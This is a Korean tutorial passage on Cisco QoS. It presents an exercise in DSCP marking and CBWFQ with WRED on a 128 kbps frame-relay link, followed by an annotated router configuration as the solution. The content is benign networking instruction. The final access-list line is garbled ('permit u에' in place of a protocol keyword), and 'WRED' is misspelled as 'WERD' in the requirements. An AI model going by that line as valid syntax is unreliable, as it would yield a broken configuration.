(total queued/total drops/no-buffer drops) 15/0/0
연습문제 1은 초급단계라서 생각보다 쉽다고 느낄지도 모르겠다. 이번에는 조금 복잡한 문제를 풀어보자.
☞ 연습문제 2
(그림 10)에서 라우터 3는 프레임 릴레이 128kbps로 연결돼 있다. 다음의 조건을 만족하도록 라우터 3에 설정하라.
(그림 10) CBWFQ 적용을 위한 실전문제(고급)
그림은 그림 9와 동일함~~
1. VoIP 트래픽은 DSCP→ EF 마킹, 테일 드롭 적용, 대역폭 58Kbps 할당, 전용 큐를 사용 
2. 서버 1→ 클라이언트 1 넷미팅 트래픽은 DSCP → AF41, 테일 드롭 적용, 대역폭 22Kbps 할당, 전용 큐를 사용
3. URL에 "important" 트래픽은 DSCP → AF21, WRED 적용, 대역폭 20Kbps 할당, 전용 큐를 사용
4. URL에 "not-so" 트래픽은 DSCP → AF23, WRED 적용, 대역폭 8Kbps 할당, 전용 큐를 WFQ로 사용
5. 그 외 모든 트래픽은 DSCP → BE, WRED 적용, 대역폭 20Kbps 할당, 전용 큐를 WFQ로 사용
6. E0/0의 인바운드에 CB 마킹을 적용해 마킹하고 S0/0의 아웃바운드에 CBWFQ를 적용
1. VoIP 트래픽은 DSCP 값을 EF로 마킹하고, 테일드롭을 적용하고, 대역폭을 58Kbps로 할당하며, VoIP 전용큐를 사용해 서비스하라.
2. 서버 1에서 클라이언트 1로 가는 넷미팅 비디오와 보이스 패킷은 DSCP 값을 AF41로 마킹하고, 테일 드롭을 적용하고, 대역폭을 22Kbps로 할당하며, 넷미팅 전용큐를 사용해 서비스하라.
3. 모든 HTTP 트래픽 중 URL에 'important'라는 글자가 있는 패킷은 DSCP 값을 AF21로 마킹하고, WERD을 적용하고, 대역폭을 20Kbps로 할당하며, 전용 큐를 사용해 서비스하라.
4. 모든 HTTP 트래픽 중 URL에 'not-so'라는 글자가 있는 패킷은 DSCP 값을 AF23로 마킹하고, WERD을 적용하고, 대역폭을 8Kbps로 할당하며, 전용큐를 사용해 서비스하라.
5. 그 외에 모든 트래픽은 DSCP 값을 BE로 마킹하고, WERD를 적용하고, 대역폭을 20Kbps로 할당하며, 전용 큐를 WFQ로 이용해 서비스하라.
6. E0/0의 인바운드에 CB 마킹을 적용해 마킹하고 S0/0의 아웃바운드에 CBWFQ를 적용하라.
☞ 연습문제 2의 해결 방법
연습문제 2의 설정 방법은 다음과 같다.
ip cef
!
class-map match-all dscp-ef → Dscp-ef라는 이름의 Class-map을 설정(①)
match ip dscp ef → 범위를 정함(클래스를 나누는 모습)
class-map match-all dscp-af41
match ip dscp af41
class-map match-all dscp-af21
match ip dscp af21
class-map match-all dscp-af23
match ip dscp af23
class-map match-all http-impo → Http-impo라는 이름의 Class-map을 설정(①)
match protocol http url "*important*" → nbar를 이용해 url을 확인
class-map match-all http-not
match protocol http url "*not-so*"
class-map match-all voip-rtp → Voip-rtp라는 이름의 Class-map을 설정(①)
match ip rtp 16384 16383 → 범위를 정함(클래스를 나누는 모습)
class-map match-all NetMeet → NetMeet라는 이름의 Class-map을 설정(①)
match access-group 101 → access-list를 이용해 클래스를 구분함
!
!
policy-map laundry-list → Laundry-list라는 이름의 policy-map을 설정(②)
class voip-rtp → ①에서 만든 Class-map을 불러옴
set ip dscp ef → dscp 값은 ef로 설정
class NetMeet
set ip dscp af41
class http-impo
set ip dscp af21
class http-not
set ip dscp af23
class class-default
set ip dscp default
policy-map queue-on-dscp → Queue-on-dscp라는 이름의 policy-map을 설정(②)
class dscp-ef → ①에서 만든 Class-map을 불러옴
bandwidth 58 → 대역폭을 58Kbps로 할당
class dscp-af41
bandwidth 22
class dscp-af21
bandwidth 20
random-detect dscp-based → WRED를 설정함
class dscp-af23
bandwidth 8
random-detect dscp-based
class class-default
fair-queue
random-detect dscp-based
!
interface Ethernet0/0
ip address 192.168.3.253 255.255.255.0
ip nbar protocol-discovery
half-duplex
service-policy input laundry-list → ②에서 만든 laundry-list를 인터페이스에 적용(③)
!
interface Serial0/0
no ip address
encapsulation frame-relay
load-interval 30
bandwidth 128
max-reserved-bandwidth 85
service-policy output queue-on-dscp → ②에서 만든 queue-on-dscp를 인터페이스에 적용(③)
clockrate 128000
!
interface Serial0/0.1 point-to-point
ip address 192.168.2.253 255.255.255.0
frame-relay interface-dlci 101
!
access-list 101 permit u에 host 192.168.3.100 range 16384 32767 192.168.1.0 0.0.0.255 range 16384 32767
조금 복잡하기는 하지만 천천히 확인해보면 그 동안 배웠던 설정으로 돼있음을 알 수 있다. 이번 시간에 배운 설정 내용을 완벽하게 이해할 수 있다면 QoS에 대해 이미 상당한 실력이 싸여있음을 증명하는 것이다. 지금까지 4회에 걸친 강좌를 통해 QoS의 큰 골격에 대해서는 머리부터 발끝까지 살펴봤다. 다음 강좌부터는 세부적인 튜닝 부분과 왜 테일 드롭이 좋지 않은 것인지. 그리고 글로벌 싱크로나이제이션(global synchronization) 문제가 네트워크에 어떤 영향을 끼치는지에 대해 살펴보자.
출처 - http://www.ionthenet.co.kr
